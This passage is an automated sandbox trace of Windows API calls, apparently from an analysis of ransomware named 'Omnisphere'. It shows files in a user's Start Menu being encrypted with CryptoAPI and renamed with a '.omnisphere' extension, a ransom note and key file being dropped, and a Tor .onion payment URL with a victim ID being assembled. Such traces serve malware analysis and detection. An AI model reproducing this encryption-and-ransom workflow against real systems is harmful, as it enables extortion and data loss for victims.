pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.156] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.156] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.156] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.156] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.156] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.156] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.156] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.156] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.156] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.156] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.156] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.156] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.156] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.156] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.156] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.156] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.156] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.156] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.157] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.157] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.157] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.157] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.157] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.157] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.157] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.157] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.157] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.157] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.157] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.157] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.157] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.157] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.157] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.157] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.157] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.157] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.158] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.158] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.158] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.158] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.158] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.158] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.158] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.158] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0131.158] CryptDestroyKey (hKey=0x16395e8) returned 1 [0131.158] CryptReleaseContext (hProv=0x1668df0, dwFlags=0x0) returned 1 [0131.158] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x944, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0131.158] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0131.158] GetProcessHeap () returned 0x1600000 [0131.158] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2c4) returned 0x1728a60 [0131.159] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\OneDrive.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\onedrive.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\OneDrive.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\onedrive.lnk.omnisphere")) returned 1 [0131.161] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\OneDrive.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\OneDrive.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\OneDrive.lnk.omnisphere.id" [0131.161] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\OneDrive.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\onedrive.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0131.163] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0131.165] CloseHandle (hObject=0x388) returned 1 [0131.166] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0131.166] CloseHandle (hObject=0x3c0) returned 1 [0131.166] SetEndOfFile (hFile=0x288) returned 1 [0131.168] FlushFileBuffers (hFile=0x288) returned 1 [0131.172] CloseHandle (hObject=0x288) returned 1 [0131.172] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\OneDrive.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs") returned 1 [0131.172] GetProcessHeap () returned 0x1600000 [0131.172] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x17298d0 [0131.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0131.172] GetProcessHeap () returned 0x1600000 [0131.172] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fdbb8 [0131.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fdbb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0131.172] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0131.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0131.172] GetProcessHeap () returned 0x1600000 [0131.172] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17103c0 [0131.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17103c0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0131.172] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0131.172] GetProcessHeap () returned 0x1600000 [0131.172] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xca) returned 0x1625cb0 [0131.173] PathCombineW (in: pszDest=0x1625cb0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\!DECRYPT_OMNISPHERE.txt" [0131.173] GetProcessHeap () returned 0x1600000 [0131.173] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1716040 [0131.173] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0131.173] WriteFile (in: hFile=0x288, lpBuffer=0x1716040*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x1716040*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0131.173] CloseHandle (hObject=0x288) returned 1 [0131.174] GetProcessHeap () returned 0x1600000 [0131.174] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x17298d0 | out: hHeap=0x1600000) returned 1 [0131.174] GetProcessHeap () returned 0x1600000 [0131.174] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc0) returned 0x16415f0 [0131.174] PathCombineW (in: pszDest=0x16415f0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\unique_decrypt.key" [0131.174] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0131.175] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0131.175] CloseHandle (hObject=0x288) returned 1 [0131.175] GetProcessHeap () returned 0x1600000 [0131.175] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16415f0 | out: hHeap=0x1600000) returned 1 [0131.176] GetProcessHeap () returned 0x1600000 [0131.176] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1726100 | out: hHeap=0x1600000) returned 1 [0131.176] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3eef18c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc8, cFileName="Startup", cAlternateFileName="")) returned 1 [0131.176] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3f411db, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1aa08e58, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc8, cFileName="System Tools", cAlternateFileName="SYSTEM~1")) returned 1 [0131.176] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc861bda7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc861bda7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc8667e79, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0xc8, cFileName="Update and Privacy Settings.lnk", cAlternateFileName="UPDATE~1.LNK")) returned 1 [0131.176] GetProcessHeap () returned 0x1600000 [0131.176] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xda) returned 0x1726258 [0131.176] PathCombineW (in: pszDest=0x1726258, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs", pszFile="Update and Privacy Settings.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Update and Privacy Settings.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Update and Privacy Settings.lnk" [0131.176] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0131.176] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Update and Privacy Settings.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\update and privacy settings.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0131.178] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=1416) returned 1 [0131.178] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x64, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0131.178] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0131.280] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x588, lpName=0x0) returned 0x3c0 [0131.280] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0131.280] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0131.280] CloseHandle (hObject=0x3c0) returned 1 [0131.281] GetTickCount () returned 0x1160bcf [0131.281] GetTickCount () returned 0x1160bcf [0131.281] GetTickCount () returned 0x1160bcf [0131.281] GetTickCount () returned 0x1160bcf [0131.281] GetTickCount () returned 0x1160bcf [0131.281] GetTickCount () returned 0x1160bcf [0131.281] GetTickCount () returned 0x1160bcf [0131.281] GetTickCount () returned 0x1160bcf [0131.281] GetTickCount () returned 0x1160bcf [0131.281] GetTickCount () returned 0x1160bcf [0131.281] GetTickCount () returned 0x1160bcf [0131.281] GetTickCount () returned 0x1160bcf [0131.281] GetTickCount () returned 0x1160bcf [0131.281] GetTickCount () returned 0x1160bcf [0131.281] GetTickCount () returned 0x1160bcf [0131.281] GetTickCount () returned 0x1160bcf [0131.281] GetTickCount () returned 0x1160bcf [0131.281] GetTickCount () returned 0x1160bcf [0131.281] GetTickCount () returned 0x1160bcf [0131.281] GetTickCount () returned 0x1160bcf [0131.281] GetTickCount () returned 0x1160bcf [0131.281] GetTickCount () returned 0x1160bcf [0131.281] GetTickCount () returned 0x1160bcf [0131.281] GetTickCount () returned 0x1160bcf [0131.281] GetTickCount () returned 0x1160bcf [0131.281] GetTickCount () returned 0x1160bcf [0131.281] GetTickCount () returned 0x1160bcf [0131.281] GetTickCount () returned 0x1160bcf [0131.282] GetTickCount () returned 0x1160bcf [0131.282] GetTickCount () returned 0x1160bcf [0131.282] GetTickCount () returned 0x1160bcf [0131.282] GetTickCount () returned 0x1160bcf [0131.282] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x16688a0) returned 1 [0131.282] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639b28) returned 1 [0131.283] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0131.283] CryptDestroyKey (hKey=0x1639b28) returned 1 [0131.283] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0131.283] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x588, lpName=0x0) returned 0x3c0 [0131.283] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x588) returned 0x1480000 [0131.283] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x16682c8) returned 1 [0131.284] CryptImportKey (in: hProv=0x16682c8, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639b68) returned 1 [0131.284] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0131.284] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, 